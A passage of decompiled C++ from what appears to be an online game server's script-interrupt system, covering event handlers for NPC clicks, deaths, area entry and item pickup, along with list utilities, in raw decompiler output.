*)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_BlastCheck"); result = 0; } return result; } //----- (004C5E30) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPlayerDead *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[0]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_BlastCheck"); result = 0; } return result; } //----- (004C5F50) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck(ScriptInterrupt::ScriptInterruptAdmin *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { char v8; // al@1 int v9; // ST00_4@2 PineScriptToken *v10; // eax@2 char result; // al@2 PineScriptToken thisa; // [sp+Ch] [bp-10Ch]@2 int v13; // [sp+114h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v8 = arg->sib_InterruptBlast; v13 = 0; if ( v8 ) { PineScriptToken::PineScriptToken(&thisa, arg->sib_Argument.area.areaname); memcpy(eventblock, &thisa, 0x100u); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); v9 = *(_WORD *)&arg->gap144[216]; v10 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v10, v9); ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; v13 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_BlastCheck"); result = 0; } return result; } //----- (004C6090) -------------------------------------------------------- #error "4C6090: undefined or illegal type '#331' (funcsize=133)" //----- (004C6250) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickHandle *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { unsigned __int16 v3; // ax@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = arg->npcclick.npc; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == v3 ) { *(_WORD *)&interrupt->sib_Argument.area.areaname[0] = v3; interrupt->sib_InterruptBlast = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickHandle::sib_NPCClicked"); } //----- (004C62D0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { char v3[4]; // [sp+4h] [bp-20h]@1 int v4; // [sp+8h] [bp-1Ch]@1 int v5; // [sp+Ch] [bp-18h]@1 int v6; // [sp+10h] [bp-14h]@1 int v7; // [sp+14h] [bp-10h]@1 int v8; // [sp+18h] [bp-Ch]@1 int v9; // [sp+1Ch] [bp-8h]@1 int v10; // [sp+20h] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v10 = 0; v9 = 0; v8 = 0; v7 = 0; v6 = 0; v5 = 0; v4 = 0; *(_DWORD *)v3 = 0; strncpy(v3, arg->npcclick.index, 0x20u); if ( *(_DWORD *)&interrupt->sib_Argument.area.areaname[0] == *(_DWORD *)v3 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[4] == v4 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[8] == v5 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[12] == v6 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[16] == v7 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[20] == v8 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[24] == v9 && *(_DWORD *)&interrupt->sib_Argument.area.areaname[28] == v10 ) { interrupt->sib_Argument.area.player = arg->npcclick.npc; interrupt->sib_InterruptBlast = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickIndex::sib_NPCClicked"); } //----- (004C63E0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked(ScriptInterrupt::ScriptInterruptNPCClickAny *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_WORD *)&interrupt->sib_Argument.area.areaname[0] = arg->npcclick.npc; interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptNPCClickAny::sib_NPCClicked"); } //----- (004C6450) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt(ScriptInterrupt::ScriptInterruptAdmin *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { PineScriptToken thisa; // [sp+14h] [bp-10Ch]@1 int v4; // [sp+11Ch] [bp-4h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = 0; PineScriptToken::PineScriptToken(&thisa, arg->npcclick.index); memcpy(&interrupt->sib_Argument, &thisa, 0x100u); ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&thisa); *(_WORD *)&interrupt->gap144[216] = *(_WORD *)&arg[7].npcclick.index[18]; interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; v4 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAdmin::sib_AdminInterrupt"); } //----- (004C6540) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange(ScriptInterrupt::ScriptInterruptTargetChange *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg->npcclick.index[0] ) { *(_WORD *)&interrupt->sib_Argument.area.areaname[2] = *(_WORD *)&arg->npcclick.index[2]; interrupt->sib_InterruptBlast = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptTargetChange::sib_TargetChange"); } //----- (004C65C0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull(ScriptInterrupt::ScriptInterruptHPFull *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg->npcclick.index[0] ) interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptHPFull::sib_HPFull"); } //----- (004C6630) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead(ScriptInterrupt::ScriptInterruptObjectDeadHandle *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg->npcclick.index[0] ) interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadHandle::sib_ObjectDead"); } //----- (004C66A0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead(ScriptInterrupt::ScriptInterruptObjectDeadIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( interrupt->sib_Argument.area.player == -1 || Name8::operator__((Name8 *)&interrupt->sib_Argument, (Name8 *)&arg->npcclick.index[2]) ) { interrupt->sib_Argument.area.player = *(_WORD *)&arg->npcclick.index[0]; interrupt->sib_InterruptBlast = 1; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptObjectDeadIndex::sib_ObjectDead"); } //----- (004C6730) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead(ScriptInterrupt::ScriptInterruptKillEnemy *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg[1].npcclick.index[0] ) interrupt->sib_InterruptBlast = 1; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptKillEnemy::sib_ObjectDead"); } //----- (004C67A0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead(ScriptInterrupt::ScriptInterruptPlayerDead *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { unsigned __int16 v3; // dx@1 __int16 hnd; // [sp+4h] [bp-18h]@1 ShineObjectHandleUnion hndunion; // [sp+8h] [bp-14h]@1 FunctionEntarance _; // [sp+Ch] [bp-10h]@1 int v7; // [sp+18h] [bp-4h]@1 _.fe_FunctionCode = "ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = 0; MoveManager::MoveManager((DiceTaiSai *)&hndunion); v3 = *(_WORD *)&arg->npcclick.index[0]; LOBYTE(v7) = 1; hndunion.sohu_Handle = v3; if ( ShineObjectHandleUnion::sohu_HandleSplit(&hndunion, (unsigned __int16 *)&hnd) == 2 ) { *(_WORD *)&interrupt->sib_Argument.area.areaname[0] = *(_WORD *)&arg->npcclick.index[0]; interrupt->sib_InterruptBlast = 1; } LOBYTE(v7) = 0; ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)&hndunion); --funcallanalizer.fca_stackpoint; v7 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPlayerDead::sib_ObjectDead"); } //----- (004C6880) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry(ScriptInterrupt::ScriptInterruptAreaEntry *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( Name8::operator__((Name8 *)&interrupt->sib_Argument, (Name8 *)arg) ) { interrupt->sib_InterruptBlast = 1; interrupt->sib_Argument.area.player = arg->npcclick.npc; interrupt->sib_Argument.area.num = 100; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAreaEntry::sib_AreaEntry"); } //----- (004C6910) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave(ScriptInterrupt::ScriptInterruptAreaLeave *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( Name8::operator__((Name8 *)&interrupt->sib_Argument, (Name8 *)arg) ) { interrupt->sib_InterruptBlast = 1; interrupt->sib_Argument.area.player = arg->npcclick.npc; interrupt->sib_Argument.area.num = 100; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptAreaLeave::sib_AreaLeave"); } //----- (004C69A0) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this, ScriptInterrupt::ScriptInterruptArgument *arg, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, List *lst, unsigned __int16 hnd, #331 *center) { int v8; // ST00_4@2 PineScriptToken *v9; // eax@2 int v10; // eax@2 bool v11; // zf@2 char result; // al@4 FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( arg->sib_InterruptBlast ) { memcpy(eventblock, &arg->sib_InterruptBlock, 0x100u); v8 = *(_WORD *)&arg->sib_Argument.area.areaname[2]; v9 = PineScriptToken::pst_Clear(argument); PineScriptToken::pst_MergeNumber(v9, v8); v10 = arg->sib_BlastNumber - 1; v11 = arg->sib_BlastNumber == 1; arg->sib_BlastNumber = v10; if ( v10 < 0 | v11 ) ((void (__stdcall *)(_DWORD))lst->vfptr->l_Free)(hnd); arg->sib_InterruptBlast = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_BlastCheck"); result = 0; } return result; } //----- (004C6AC0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp(ScriptInterrupt::ScriptInterruptPickUpItemIndex *this, ScriptInterrupt::ScriptInterruptArgument *interrupt, ScriptInterrupt::InterruptHappenArgument *arg) { FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( *(_WORD *)&interrupt->sib_Argument.area.areaname[0] == *(_WORD *)&arg->npcclick.index[0] ) { interrupt->sib_InterruptBlast = 1; *(_WORD *)&interrupt->sib_Argument.area.areaname[2] = *(_WORD *)&arg->npcclick.index[2]; } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptPickUpItemIndex::sib_ItemPickedUp"); } //----- (004C6B40) -------------------------------------------------------- char __thiscall List::l_PushA(List *this, ScriptInterrupt::ScriptInterruptArgument *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocA)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); ScriptInterrupt::ScriptInterruptArgument::operator_(v3, (int)ele); return 1; } // 4C6B55: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004C6B70) -------------------------------------------------------- char __thiscall List::l_PushZ(List *this, ScriptInterrupt::ScriptInterruptArgument *ele) { int v2; // eax@1 int v3; // eax@1 v2 = this->l_Finger.empty; JUMPOUT(v2, -1, Concurrency::_Order_node_base::reserve_message); v3 = ((int (__stdcall *)(int))this->vfptr->l_AllocZ)(v2); if ( !v3 ) JUMPOUT(*(int *)Concurrency::_Order_node_base::reserve_message); ScriptInterrupt::ScriptInterruptArgument::operator_(v3, (int)ele); return 1; } // 4C6B86: using guessed type int __stdcall Concurrency___Order_node_base_enum Concurrency__agent_status___reserve_message(int); //----- (004C6BA0) -------------------------------------------------------- char __thiscall List::l_PopA(List *this, ScriptInterrupt::ScriptInterruptArgument *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Next; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; ScriptInterrupt::ScriptInterruptArgument::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004C6BF0) -------------------------------------------------------- char __thiscall List::l_PopZ(List *this, ScriptInterrupt::ScriptInterruptArgument *ele) { List *v2; // esi@1 int v3; // eax@1 ListStruct *v4; // ecx@1 unsigned __int16 v5; // di@1 int v6; // eax@2 v2 = this; v3 = this->l_Finger.store; v4 = this->l_Array; v5 = v4[v3].ls_Prev; if ( v5 < v2->l_MaxSize ) { v6 = (int)&v4[v5]; if ( !*(_BYTE *)(v6 + 8) ) return 0; ScriptInterrupt::ScriptInterruptArgument::operator_((int)ele, *(_DWORD *)v6); v2->vfptr->l_Free(v2, v5); } return 1; } //----- (004C6C40) -------------------------------------------------------- #error "4C6C40: undefined or illegal type '#331' (funcsize=13)" //----- (004C6C70) -------------------------------------------------------- char __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast(ScriptInterrupt::ScriptInterruptManager *this, PineScriptToken *eventblock, PineScriptToken *argument, Movie::TimeLimit *timelimit, #331 *center, unsigned int kq) { ScriptInterrupt::ScriptInterruptManager *v6; // esi@1 unsigned __int16 v7; // bp@1 unsigned __int16 v8; // bx@2 ListStruct *v9; // edx@3 int v10; // eax@3 unsigned __int16 v11; // di@3 bool v12; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v13; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v14; // ecx@7 int v15; // edx@8 int v16; // eax@9 int lt; // [sp+14h] [bp-18h]@3 v6 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v7 = v6->baseclass_0.l_Array[v6->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v8 = v6->baseclass_0.l_MaxSize; if ( v7 >= v8 ) break; v9 = v6->baseclass_0.l_Array; v10 = v7; v11 = v7; v12 = v7 < v8; v7 = v9[v7].ls_Next; LOWORD(lt) = v11; HIWORD(lt) = v7; if ( v12 && v9[v10].ls_IsActiv ) v13 = v9[v10].ls_Content; else v13 = 0; v14 = v13->sib_Instance; if ( v11 < v8 && (v15 = (int)&v9[v10], *(_BYTE *)(v15 + 8)) ) v16 = *(_DWORD *)v15; else v16 = 0; if ( (unsigned __int8)((int (__stdcall *)(int, PineScriptToken *, PineScriptToken *, Movie::TimeLimit *, ScriptInterrupt::ScriptInterruptManager *, int, #331 *))v14->vfptr->sib_BlastCheck)( v16, eventblock, argument, timelimit, v6, lt, center) ) { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast"); return 1; } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptBlast"); return 0; } //----- (004C6DD0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase(ScriptInterrupt::ScriptInterruptManager *this, Name4 *intindex) { ScriptInterrupt::ScriptInterruptManager *v2; // esi@1 unsigned __int16 v3; // di@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // ecx@3 int v6; // eax@3 unsigned __int16 v7; // dx@3 bool v8; // cf@3 int v9; // edx@4 char v10; // al@4 int v11; // ecx@4 int v12; // eax@5 int lt; // [sp+14h] [bp-18h]@3 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; LOWORD(lt) = v7; HIWORD(lt) = v3; if ( v8 && (v9 = 3 * v6, v10 = v5[v6].ls_IsActiv, v11 = (int)&v5[4 * v9 / 0xCu], v10) ) v12 = *(_DWORD *)v11; else v12 = 0; if ( *(_DWORD *)(v12 + 268) == *(_DWORD *)&intindex->n4_name[0] && *(_DWORD *)(v12 + 272) == *(_DWORD *)&intindex->n4_name[4] && *(_DWORD *)(v12 + 276) == *(_DWORD *)&intindex->n4_name[8] ) { if ( *(_DWORD *)(v12 + 280) == *(_DWORD *)&intindex->n4_name[12] ) v2->baseclass_0.vfptr->l_Free((List *)v2, lt); } } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_InterruptErase"); } //----- (004C6EF0) -------------------------------------------------------- void __thiscall ScriptInterrupt::ScriptInterruptManager::sim_NPCClick(ScriptInterrupt::ScriptInterruptManager *this, ScriptInterrupt::InterruptHappenArgument *arg) { ScriptInterrupt::ScriptInterruptManager *v2; // ebp@1 unsigned __int16 v3; // si@1 unsigned __int16 v4; // bx@2 ListStruct *v5; // edx@3 int v6; // eax@3 unsigned __int16 v7; // di@3 bool v8; // cf@3 ScriptInterrupt::ScriptInterruptArgument *v9; // ecx@5 ScriptInterrupt::ScriptInterruptBase *v10; // ecx@7 int v11; // edx@8 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ScriptInterrupt::ScriptInterruptManager::sim_NPCClick"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ScriptInterrupt::ScriptInterruptManager::sim_NPCClick"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v3 = v2->baseclass_0.l_Array[v2->baseclass_0.l_Finger.store].ls_Next; while ( 1 ) { v4 = v2->baseclass_0.l_MaxSize; if ( v3 >= v4 ) break; v5 = v2->baseclass_0.l_Array; v6 = v3; v7 = v3; v8 = v3 < v4; v3 = v5[v3].ls_Next; if ( v8 && v5[v6].ls_IsActiv ) v9 = v5[v6].ls_Content; else v9 = 0; v10 = v9->sib_Instance; if ( v7 < v4 && (v11 = (int)&v5[v6], *(_BYTE *)(v11 + 8)) ) ((void (__stdcall *)(_DWORD, 